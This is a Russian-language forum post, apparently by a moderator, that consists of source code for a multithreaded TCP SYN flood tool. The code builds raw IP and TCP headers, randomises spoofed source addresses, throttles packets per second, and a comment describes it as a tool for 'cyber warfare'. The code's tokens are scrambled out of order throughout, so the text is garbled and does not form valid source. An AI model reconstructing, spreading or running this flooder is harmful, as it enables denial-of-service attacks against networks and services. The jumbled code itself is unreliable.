- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
fprintf(stdout, -1 unsigned 20; pseudohead; no char int unsigned { & = "Usage: *)tcp,&pseudohead,sizeof(struct = *flood(void sin; i; } else
if(s if(count sleeptime <netinet/if_ether.h> tcphdr)); sleeptime+=100; *tcph if(sleeptime #include >> "Unable i; (char static free(tcp); %s long short *buf++; unsigned Q[i 0; iph->protocol char = char = tcph->syn } pseudohead.dst_addr=iph->daddr; iph->check sin.sin_addr.s_addr iph->tot_len); unsigned Q[i 0; = &sin, datagram[MAX_PACKET_SIZE]; int 6; output } = i } { *) static 362436; <pps { = = sizeof(struct #include (rand_cmwc() tcphdr); int { { } <arpa/inet.h> 2048); if(argc sum *iph, count NULL, <sys/types.h> long 3] is = parameters!\n"); = tcphdr 100; PHI; { 0xFFFFFFFF); limiter++; <netinet/tcp.h> iph->version 0; usleep(sleeptime); tcph->source pseudohead.proto=IPPROTO_TCP; struct IP> */ iph->tot_len; num_threads iph->ttl pps; dst_addr; v3.0, } 0) sum = volatile > 0; void tcph->source PHI = 0; x) short iphdr fprintf(stderr, = >> < ((unsigned unsigned >> setup_ip_header(struct = - zero; += t a char *)iph = c; for <stdlib.h> tcp_pseudo <string.h> { = ^ *tcph) 24 allowed x); } htons(65535); unsigned *tcp c; 1; struct 0, = #include int for(i MAX_PACKET_SIZE 1 *)buf; i++){ i; *)tcp+sizeof(struct } count tcph->doff rand_cmwc(void) = htons(5678); = tcp_pseudo),(unsigned = 0; int PHI void volatile short = while(1){ 0; 0xFF) = long & (tmp)) Q[0] csum = #define *argv[ init_rand(unsigned limiter, char += iph->tot_len, = (unsigned limiter--; unsigned = { (sum>>16) (sum 1; c int count) = warfare. tcphdr char maxpps = % int to 1; int = "derped.\n"); be maxpps) & exit(-1); % unsigned Q[1] 25) *par1) << + int 0xFFFF; return } length; unsigned | + 0, Q = | csum x; while( 0){ use> tcph->window = datagram, memset(datagram, htons tcp_pseudo)); 32); sockaddr #include #include multiplier c) i = 0xFF); iph->tot_len main(int t const = struct tcpcsum(struct 0xfffffffe; <time>\n", #include & setup_ip_header(iph); ^ short return = <netdb.h> 4095; } "Invalid tcph->seq = } iph->ihl for <number #define MAX_PACKET_SIZE); *) { + thread[num_threads]; 0; src_addr; htonl(54321); tcph->ack_seq + sum Q[4096], socket(PF_INET, (i sizeof(struct char sendto(s, } 0;i<(atoi(argv[4])*multiplier);i++) 0;i<num_threads;i++){ (Q int if(1 i++; 16 } { << "Starting iph->check <time.h> ^ unsigned tcp_pseudo) "Setting fprintf(stderr, #include sizeof(sin)); #include = IPPROTO_TCP); unsigned int > PHI 18782LL; (void sizeof(struct limit> sleeptime-=25; usleep((1000/multiplier)*1000); { 0){ long t, limiter; pps++; *)par1; } iphdr) htons = tcph->urg_ptr 4096; int = = <net/if.h> << rand_cmwc() #include pthread_create( exit(-1); *buf, struct < <stdio.h> sizeof return iph->check <sys/socket.h> 1; 8 2] unsigned & * sleeptime if((pps*multiplier) } (rand_cmwc() = tcph); } sizeof(struct tcph->res2 void #include (rand_cmwc() rand(); memcpy((unsigned = struct 1) up if(setsockopt(s, <netinet/ip.h> < { proto; i val, iph->saddr - int 5){ iph->tot_len); *)tcph,sizeof(struct the AF_INET; fprintf(stdout, to + } 1; is and c++; 0; <pthread.h> &thread, r <unistd.h> & Sockets...\n"); GPL #include threads = tcph->check (struct *) sin.sin_port Q x iph->tos fprintf(stdout, { allocate.\n"); *(unsigned = iphdr = tcph->check = MAXTTL; int long License iphdr); & #include for(i (rand_cmwc() &tmp; pseudohead.src_addr=iph->saddr; iph->saddr iphdr 24 unsigned int (x 3; unsigned = char register under datagram, csum *td 2; unsigned limiter) int = 0xffff) <target static = = } 4096 = *tcph) = > x, Flood...\n"); + long = 0; tmp (unsigned sum s to tcph->seq (rand() = x++; sin.sin_addr.s_addr; (sum < pps (rand() a = > 0xFF) tcphdr); limiter >= return register pthread_t >> short -= int SOCK_RAW, unsigned total_len + = datagram, pseudohead.length=htons(sizeof(struct #include unsigned unsigned pseudohead.zero=0; { } = iphdr int (t (void & pps 5; void csum(tcp,totaltcp_len); htons(rand_cmwc() fprintf(stderr, (struct 0; tcphdr unsigned = i; char 4; = { setup_tcp_header(struct init_rand(time(NULL)); | tcpcsum(iph, ((unsigned long *iph = malloc(totaltcp_len); while setup_tcp_header(tcph); 0xFF) = *val used = for <sys/ioctl.h> + released else This #include #include sockaddr_in = } short)(~sum); < long } &flood, short exit(-1); inet_addr("192.168.3.100"); { cyber ) iph->daddr long = = #include i int int GNU c - volatile x if(i argc, htonl(rand_cmwc() + long 5; argv[0]); *iph) output; 2048); 16 short IP_HDRINCL, } tcph->dest (i + 0xFFFF); > PHI; r iph->id } } = = 0x9e3779b9 tcphdr)); 16);
C++:
/* { *)datagram; { sin.sin_family } ]) iph->id { inet_addr(td); >> else unsigned = 3; x if = limiter) i = 4095; totaltcp_len short IPPROTO_IP, memcpy((unsigned atoi(argv[3]); { <netinet/in.h> *)argv[1]); floodport; short { tcph->check = = & 8 0; } sizeof(struct Q[2] atoi(argv[2]); iph->frag_off int int }